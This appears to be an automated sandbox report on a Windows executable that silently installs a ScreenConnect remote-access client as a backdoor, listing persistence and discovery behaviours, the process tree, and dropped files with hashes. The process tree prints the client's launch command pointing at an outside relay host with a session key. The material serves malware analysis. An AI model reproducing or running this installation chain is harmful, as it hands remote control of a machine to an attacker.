Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 04:46

General

  • Target
    2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe
  • Size 5.3MB
  • Sample260831-fectvsxtbx
  • SHA256 2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe
    "C:\Users\Admin\AppData\Local\Temp\2f9155e9b3c398809d0ea8217600e6575d116b47744fcf76344622fbede1dddb.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\8cb78d3d3a881716\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:6100
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding ECC768E334D4049BA4A58CBC3B848D9C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2600
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9159.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240751062 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1564
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1224
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 406A5B37FCDC14D6897492BB3AAD7D28
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1484
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4CB49F76DC921210A1D33D7B333BA14E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3956
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1932
    • C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=mango.quatrocliche.com&p=8041&s=4c805bcb-c380-4537-8ef6-9ed2b317b80f&k=BgIAAACkAABSU0ExAAgAAAEAAQDhS0SCa7tXL%2fbJx%2bV6Ef69J20tqJisgu1E%2flF7NmE%2b%2fEawwIyNHH1dsNZMQBIqvNHVwv7TRH3XSwbWYv4EjOg2Jds3dlQBBq%2fYOq211kg47Cv8%2f4r9VJIIyDYyXCCCzwr8CyCqRUbw1YuRsm9lHY37QccGFRDBseKl1Wk4o7157QCn%2bTmoQmYwMbCxxyvB73gbAMdmD894vYnpuD61t%2b7ttLzCPpFNeukVI89oF6gNmjc3XajDW81YIF5WsNjosYKBa9AhL%2f%2ftArjgV7jz01IhQfu4dBleZBVUGzamdUCXcd9o0WlcDOc9yfX3l23oEDpaCICAaoERBqVoNYjmbWfS&c=LabInstalls%20500&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5696
      • C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsClient.exe" "RunRole" "e0f6689b-5585-46df-a486-8e9df57c210d" "User"
        2⤵
        • Executes dropped EXE
        PID:4796

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59ebde.rbs

          • Path C:\Config.Msi\e59ebde.rbs
          • Size 214KB
          • SHA256 988710270284d4fa95fd56f86a5d3d4f662b4a32aced714de3c3bb0367a30d94
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.Override.en-US.resources
          • Size 361B
          • SHA256 37feffe5a7eba3667e1f1eb38db7db5b3b7d090ca6f97a20e23e5a3ba577e995
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.Override.resources
          • Size 11KB
          • SHA256 9f72259cce72f47c6f5aa5f84dbfd7279fb14c71adf86f940f38f78b5af9357d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 2f40b5cd29a34131079141b5531c60bf68483ba48accbae57f4a6be784d321cc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 e34f3a8cc2563582505d921c09985023b46d9c6ba783e3b8952ad9a72f914abe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.ClientService.exe
          • Size 83KB
          • SHA256 6ea121ffd1b457359dd1f9a21885c13210fb4fd51196f96b4860a3ccf1443994
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsClient.exe
          • Size 577KB
          • SHA256 c20cd517f35d5f0c20c3cbc9af2a64a92486f40c4cf21a8614f1445740c96bb4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\app.config
          • Size 1KB
          • SHA256 ef631b7fa3f88ee88b26c540ff44e3ccc0d36aa93ccd558a8b3d04de4ded3395
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8cb78d3d3a881716)\system.config
          • Size 950B
          • SHA256 547c624a197dc3b3492f957346c5cdb078d8390da02d11cd6cb52cff280a6107
          • MD5 SHA1 SHA512 TLSH

          MSI9159.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9159.tmp
          • Size 1.0MB
          • SHA256 7e0edcfdfbbe7cd162151c32afebc420671b4894959306a2f290946ff208d499
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9159.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9159.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 abef7280457b6c7ba14338fa1166cd61f7557a8455b0fa08c86ef70b0386d2c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9159.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 a1a99d4d56d900644be0ef36fbf40a06dda1731c5ab2d8c60c2e75b2258a788b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI9159.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 5281f30cbfa9b17848f842605a5a767c8d5f962416f975562db7c9954da0117e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\8cb78d3d3a881716\setup.msi
          • Size 12.6MB
          • SHA256 b5367afda4656b823e93881665cd9c94ce233c50a25575919a09f03eb58d8f9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIF3DD.tmp

          • Path C:\Windows\Installer\MSIF3DD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 0a13c80aed0cb3c16a59aa96e2521d3d9eb53c1d58f1cde9346e2f2d38610735
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {cf66bf09-262f-49a3-869f-e42c3c461030}_OnDiskSnapshotProp

          • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{cf66bf09-262f-49a3-869f-e42c3c461030}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 8bade36812bedf8e0355ef2c25ee6e268647747582ac48aed317e18132b36974
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1564-40-0x0000000005F00000-0x0000000005F8C000-memory.dmp

          memory/1564-36-0x0000000005E30000-0x0000000005E3A000-memory.dmp

          memory/1564-44-0x0000000006140000-0x00000000062EA000-memory.dmp

          memory/1564-32-0x0000000005DF0000-0x0000000005E1E000-memory.dmp

          memory/2688-3-0x0000000074290000-0x0000000074A4C000-memory.dmp

          memory/2688-2-0x0000000005C00000-0x0000000005EEA000-memory.dmp

          memory/2688-12-0x0000000074290000-0x0000000074A4C000-memory.dmp

          memory/2688-9-0x00000000064B0000-0x0000000006A6A000-memory.dmp

          memory/2688-1-0x0000000001900000-0x0000000001908000-memory.dmp

          memory/2688-0-0x00000000742A2000-0x00000000742A3000-memory.dmp

          memory/2688-10-0x0000000074290000-0x0000000074A4C000-memory.dmp

          memory/2688-5-0x0000000003190000-0x00000000031B2000-memory.dmp

          memory/2688-4-0x0000000005790000-0x000000000581C000-memory.dmp

          memory/2688-8-0x0000000005910000-0x0000000005ABA000-memory.dmp

          memory/2688-7-0x0000000074290000-0x0000000074A4C000-memory.dmp

          memory/2688-6-0x0000000074290000-0x0000000074A4C000-memory.dmp

          memory/4796-132-0x0000000001640000-0x0000000001658000-memory.dmp

          memory/4796-128-0x0000000001670000-0x00000000016A6000-memory.dmp

          memory/4796-127-0x0000000000D30000-0x0000000000DC6000-memory.dmp

          memory/4796-129-0x000000001BDE0000-0x000000001BE6C000-memory.dmp

          memory/4796-130-0x000000001C020000-0x000000001C1CA000-memory.dmp

          memory/4796-131-0x000000001C1D0000-0x000000001C358000-memory.dmp

          memory/4796-133-0x00000000016D0000-0x00000000016E8000-memory.dmp

          memory/5696-117-0x0000000003BD0000-0x0000000003C11000-memory.dmp

          memory/5696-115-0x0000000003F00000-0x0000000003F92000-memory.dmp

          memory/5696-114-0x0000000003E20000-0x0000000003E56000-memory.dmp

          memory/5696-119-0x00000000040F0000-0x00000000041C2000-memory.dmp

          memory/5696-110-0x0000000003DD0000-0x0000000003E20000-memory.dmp

          memory/5696-88-0x00000000038A0000-0x00000000038B8000-memory.dmp